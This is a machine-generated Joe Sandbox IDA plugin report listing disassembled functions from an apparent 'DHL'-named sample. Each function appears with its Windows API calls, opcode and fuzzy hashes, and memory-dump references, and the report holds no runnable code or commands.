Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Variant$ClearInitInitializeUninitialize
String ID:
API String ID: 1998397398-0
Opcode ID: 354fea0635f2b4d6897083c29971811b9b6143d916f69663c7bed6a83fe365a3
Instruction ID: 22da6fb93fe601b14081b8a8d9b1d70f4b93771fbc5643c5076be32ef2cbe0e8
Opcode Fuzzy Hash: 354fea0635f2b4d6897083c29971811b9b6143d916f69663c7bed6a83fe365a3
Instruction Fuzzy Hash: 3AA13E756043109FCB10EF68D985A2AB7E5FF89714F04885DF98A9B362DB34EE01CB91

Function 00A00436 Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00A3FC08,?), ref: 00A005F0
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00A3FC08,?), ref: 00A00608
CLSIDFromProgID.OLE32(?,?,00000000,00A3CC40,000000FF,?,00000000,00000800,00000000,?,00A3FC08,?), ref: 00A0062D
_memcmp.LIBVCRUNTIME ref: 00A0064E

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: 82e2b452b1e4a61be99702dbe8d79c54dbf5e296fadcb672997dc36c622a869a
Instruction ID: b4cc2244f21bbd79c9286a40e7e0254f78e89aa1d5ebe5be59c4844ec2619115
Opcode Fuzzy Hash: 82e2b452b1e4a61be99702dbe8d79c54dbf5e296fadcb672997dc36c622a869a
Instruction Fuzzy Hash: 8381EB75A00109EFCB04DF94D984EEEB7B9FF89315F208558F516AB290DB71AE06CB60

Function 009E1391 Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 009E14C0

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: faf4dc2da5f740c8a0416ffdccfadebca0b5ab487ecda08008866380af38ec5e
Instruction ID: 20f2c20ab818698f4bfe70569b5bfc5818aa8749b9f7ff4ee98c0ec45d356f40
Opcode Fuzzy Hash: faf4dc2da5f740c8a0416ffdccfadebca0b5ab487ecda08008866380af38ec5e
Instruction Fuzzy Hash: A0413031A005516BDB277BBA8C45BBE3BA9EF81370F144626F415D63E2F6344C419762

Function 00A36278 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(00D9EE38,?), ref: 00A362E2
ScreenToClient.USER32(?,?), ref: 00A36315
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,?,?,?), ref: 00A36382

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: 4729a2b09823804314bcba89a6e1fea8d6bfa8facf8d2a5d8dba855c8b6605ee
Instruction ID: f11855e96db07c97d8279ed463a9abac02fb31e0cbf08d390765295a311239ca
Opcode Fuzzy Hash: 4729a2b09823804314bcba89a6e1fea8d6bfa8facf8d2a5d8dba855c8b6605ee
Instruction Fuzzy Hash: 86512B75A00209EFDF10DFA8D981AAE7BB5FF45360F108169F9659B2A0D730ED81CB90

Function 00A21AD6 Relevance: 6.1, APIs: 4, Instructions: 138networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 00A21AFD
WSAGetLastError.WSOCK32 ref: 00A21B0B
#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00A21B8A
WSAGetLastError.WSOCK32 ref: 00A21B94

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ErrorLast$socket
String ID:
API String ID: 1881357543-0
Opcode ID: f8ae0ec94605e4923173e8952d363369cdbdc8780b9fb206f1d021487570f525
Instruction ID: 6586e5f621468d118077859c3c06351ff38aa5cd86490fe14ccc1e41f46b4d7d
Opcode Fuzzy Hash: f8ae0ec94605e4923173e8952d363369cdbdc8780b9fb206f1d021487570f525
Instruction Fuzzy Hash: 8241B074600210AFE720AF24D886F6A77E5AB85718F548458F91A9F3D3E772ED428BD0

Function 009DB41F Relevance: 6.1, APIs: 4, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa00ff6118487f0e2d21d38d254a1f238b96919b4665741e4105f45fcbb0c3c9
Instruction ID: f4f75795613d3803d7f4e58e09e77b047142313fa68715e845347d3e853df2e8
Opcode Fuzzy Hash: aa00ff6118487f0e2d21d38d254a1f238b96919b4665741e4105f45fcbb0c3c9
Instruction Fuzzy Hash: A741E275A80344EFE724DF38C841BAABBA9EBC8710F11852FF156DB792D771A9018790

Function 00A156D9 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00A15783
GetLastError.KERNEL32(?,00000000), ref: 00A157A9
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 00A157CE
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 00A157FA

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: 728158b55d94baaed9d9c22ef638c51ea473f026c0fdc2c16d769f42760c733c
Instruction ID: 7e2634c32c66d188f1501ffcd347ac045d5de630a45164e645bc05b5ab3e22f1
Opcode Fuzzy Hash: 728158b55d94baaed9d9c22ef638c51ea473f026c0fdc2c16d769f42760c733c
Instruction Fuzzy Hash: B341DE35A00610DFCB11EF55C945A5EBBE2AF89720B198888F94A6B362CB34FD41DBD1

Function 009DD8C3 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,8BE85006,009C6D71,00000000,00000000,009C82D9,?,009C82D9,?,00000001,009C6D71,8BE85006,00000001,009C82D9,009C82D9), ref: 009DD910
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 009DD999
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 009DD9AB
__freea.LIBCMT ref: 009DD9B4

Part of subcall function 009D3820: RtlAllocateHeap.NTDLL(00000000,?,00A71444,?,009BFDF5,?,?,009AA976,00000010,00A71440,009A13FC,?,009A13C6,?,009A1129), ref: 009D3852

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 8fe4d69ee5bdfc88cabd69787180d6ce39eb55e31cd76c1a1b2c3d2c9d907800
Instruction ID: 1b57fe07809b53d784b693ea57b0e22363322d8ddad7c8aa1ca7c6dfe9e04ac0
Opcode Fuzzy Hash: 8fe4d69ee5bdfc88cabd69787180d6ce39eb55e31cd76c1a1b2c3d2c9d907800
Instruction Fuzzy Hash: 7B31F472A0220AABDF25CFA5DC91EAE7BA9EF40710F058169FC04D7250EB36DD50CB90

Function 00A352C1 Relevance: 6.1, APIs: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001024,00000000,?), ref: 00A35352
GetWindowLongW.USER32(?,000000F0), ref: 00A35375
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00A35382
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00A353A8

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: LongWindow$InvalidateMessageRectSend
String ID:
API String ID: 3340791633-0
Opcode ID: 474560ceba9f62f58981c0bc85b56fbeb19116e6d6594c4178fc199e53779547
Instruction ID: 6c13475179f74850d04ad5a65386909b42460b202a4a7f0ef91b081ad06a25c1
Opcode Fuzzy Hash: 474560ceba9f62f58981c0bc85b56fbeb19116e6d6594c4178fc199e53779547
Instruction Fuzzy Hash: 6631C434E95A08EFEB349B7CCC26BE877A5EB05390F584101FA109E1E1C7B49981EB41

Function 00A0AB9C Relevance: 6.1, APIs: 4, Instructions: 103keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,76C1C0D0,?,00008000), ref: 00A0ABF1
SetKeyboardState.USER32(00000080,?,00008000), ref: 00A0AC0D
PostMessageW.USER32(00000000,00000101,00000000), ref: 00A0AC74
SendInput.USER32(00000001,?,0000001C,76C1C0D0,?,00008000), ref: 00A0ACC6

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: d27b1975354786b47d076395a7a99410373be50005ea17d0a1aec5e565c50f36
Instruction ID: 33707b71d978b0bd824aab8b399801f8cddbfcf22dacc7f88a26f3a37508fa4e
Opcode Fuzzy Hash: d27b1975354786b47d076395a7a99410373be50005ea17d0a1aec5e565c50f36
Instruction Fuzzy Hash: 0D312430A0471CAFFF35CBA4AC097FE7BB5ABA9320F05431AE485961D1C37489818792

Function 00A37674 Relevance: 6.1, APIs: 4, Instructions: 102windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 00A3769A
GetWindowRect.USER32(?,?), ref: 00A37710
PtInRect.USER32(?,?,00A38B89), ref: 00A37720
MessageBeep.USER32(00000000), ref: 00A3778C

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: cf2d0b910d06085f9fa35703427753dd36e07dcaa68ebf4734a54800b5160a5d
Instruction ID: 1b7c8f25038900c389b00826f0e0493244cb497825c539ac115a53e370163879
Opcode Fuzzy Hash: cf2d0b910d06085f9fa35703427753dd36e07dcaa68ebf4734a54800b5160a5d
Instruction Fuzzy Hash: 2C416DB4A05214EFCB21CF98CC95EADB7F5FB49314F1581A8F5159B261D730A942CF90

Function 00A316DA Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00A316EB

Part of subcall function 00A03A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00A03A57
Part of subcall function 00A03A3D: GetCurrentThreadId.KERNEL32 ref: 00A03A5E
Part of subcall function 00A03A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00A025B3), ref: 00A03A65

GetCaretPos.USER32(?), ref: 00A316FF
ClientToScreen.USER32(00000000,?), ref: 00A3174C
GetForegroundWindow.USER32 ref: 00A31752

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 52004387f8b8df15981384a083d4aa5ba72e9da06044c9cccab9e656ea7a62fc
Instruction ID: 730d72020f40287c48de1a8ffc73a1083d6c5157e8c334e1b59fc3c0a7fa4331
Opcode Fuzzy Hash: 52004387f8b8df15981384a083d4aa5ba72e9da06044c9cccab9e656ea7a62fc
Instruction Fuzzy Hash: 23313071E00149AFCB00DFA9C885DAEB7F9EF89304B5480A9F415E7211D6319E45CBA0

Function 00A0D4DC Relevance: 6.1, APIs: 4, Instructions: 86processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00A0D501
Process32FirstW.KERNEL32(00000000,?), ref: 00A0D50F
Process32NextW.KERNEL32(00000000,?), ref: 00A0D52F
CloseHandle.KERNEL32(00000000), ref: 00A0D5DC

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 547bc06c1342164dd28f700fa2da4f09a02212561833efeb7113bf7e4358c9b1
Instruction ID: 1fc6cdd7804aaf7fc8d2fb1d65846b5d8163bdb8352edcc59f430d41edac075c
Opcode Fuzzy Hash: 547bc06c1342164dd28f700fa2da4f09a02212561833efeb7113bf7e4358c9b1
Instruction Fuzzy Hash: 55317E721082049FD300EF94DC85BAFBBE8EFDA354F14092DF585961A1EB71A945CB92

Function 00A38FC9 Relevance: 6.1, APIs: 4, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009B9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 009B9BB2

GetCursorPos.USER32(?), ref: 00A39001
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,009F7711,?,?,?,?,?), ref: 00A39016
GetCursorPos.USER32(?), ref: 00A3905E
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,009F7711,?,?,?), ref: 00A39094

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: ae9296355900fed63e339390fe0d2b338a1ab15b8d354226f4ff4c641707f715
Instruction ID: cbd3d25ecb52b6a7d15cdcfc00e0022ef27fc21bd85aa446379ecb05bc80cef1
Opcode Fuzzy Hash: ae9296355900fed63e339390fe0d2b338a1ab15b8d354226f4ff4c641707f715
Instruction Fuzzy Hash: 8C21BF35600118EFCB29CFA8CC58EEB3BB9EB8A360F008055F90557261C3719991DB61

Function 00A0D2C1 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00A3CB68), ref: 00A0D2FB
GetLastError.KERNEL32 ref: 00A0D30A
CreateDirectoryW.KERNEL32(?,00000000), ref: 00A0D319
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,00A3CB68), ref: 00A0D376

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: 6e3dda962ee39a52aedae99951c9e5984bd84a08271755c2db34c355025166e4
Instruction ID: 7625de41dc26c9428f9176be610c8f5e3c72054a785d4a5260900e7f097053d6
Opcode Fuzzy Hash: 6e3dda962ee39a52aedae99951c9e5984bd84a08271755c2db34c355025166e4
Instruction Fuzzy Hash: 202191715043059FC700EFA8D8814AAB7E4BF96364F104A1DF499DB2E1E730D946CB93

Function 00A01571 Relevance: 6.1, APIs: 4, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A01014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00A0102A
Part of subcall function 00A01014: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00A01036
Part of subcall function 00A01014: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00A01045
Part of subcall function 00A01014: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00A0104C
Part of subcall function 00A01014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00A01062

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00A015BE
_memcmp.LIBVCRUNTIME ref: 00A015E1
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00A01617
HeapFree.KERNEL32(00000000), ref: 00A0161E

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: 55c45cbf6e7d32a421d43b449fc08ad5fb0ab92e9d9f2cd0ecfa9866f61433af
Instruction ID: 5ff9bf2dc93444a567b8654230e6ce75f5dd88e99c04a3fac5e29fa7a2ce0ee4
Opcode Fuzzy Hash: 55c45cbf6e7d32a421d43b449fc08ad5fb0ab92e9d9f2cd0ecfa9866f61433af
Instruction Fuzzy Hash: 6321AC32E00108EFDF14DFA4DD45BEEB7B8EF84354F084459E441AB281E731AA45DBA0

Function 00A32782 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 00A3280A
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00A32824
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00A32832
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00A32840

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: 1c0739266ced7309e5adf0cf466e473767d423c361b13a0af02654fa506b3cd8
Instruction ID: 91d86e20637f1ac3a2384c419c13d79a53db9b9ec042a64e603bcd75ea8a077b
Opcode Fuzzy Hash: 1c0739266ced7309e5adf0cf466e473767d423c361b13a0af02654fa506b3cd8
Instruction Fuzzy Hash: D921AF31604611AFD714DB24CC55FAABBA5AF86324F148158F4268B6E2CB71FC82CBD0

Function 00A078F5 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A08D7D: lstrlenW.KERNEL32(?,00000002,000000FF,?,?,?,00A0790A,?,000000FF,?,00A08754,00000000,?,0000001C,?,?), ref: 00A08D8C
Part of subcall function 00A08D7D: lstrcpyW.KERNEL32(00000000,?,?,00A0790A,?,000000FF,?,00A08754,00000000,?,0000001C,?,?,00000000), ref: 00A08DB2
Part of subcall function 00A08D7D: lstrcmpiW.KERNEL32(00000000,?,00A0790A,?,000000FF,?,00A08754,00000000,?,0000001C,?,?), ref: 00A08DE3

lstrlenW.KERNEL32(?,00000002,000000FF,?,000000FF,?,00A08754,00000000,?,0000001C,?,?,00000000), ref: 00A07923
lstrcpyW.KERNEL32(00000000,?,?,00A08754,00000000,?,0000001C,?,?,00000000), ref: 00A07949
lstrcmpiW.KERNEL32(00000002,cdecl,?,00A08754,00000000,?,0000001C,?,?,00000000), ref: 00A07984

Strings

cdecl, xrefs: 00A0797B

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
